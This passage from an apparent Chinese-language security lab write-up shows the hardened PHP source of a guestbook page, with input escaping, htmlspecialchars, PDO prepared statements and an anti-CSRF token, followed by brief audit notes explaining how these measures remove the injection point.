$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
代码审计
- 日常
check token
。 - 在
Medium
的基础上,对name
施加同message
一样的过滤,使得注入点消失。 - 使用
PDO
机制预防SQL
注入。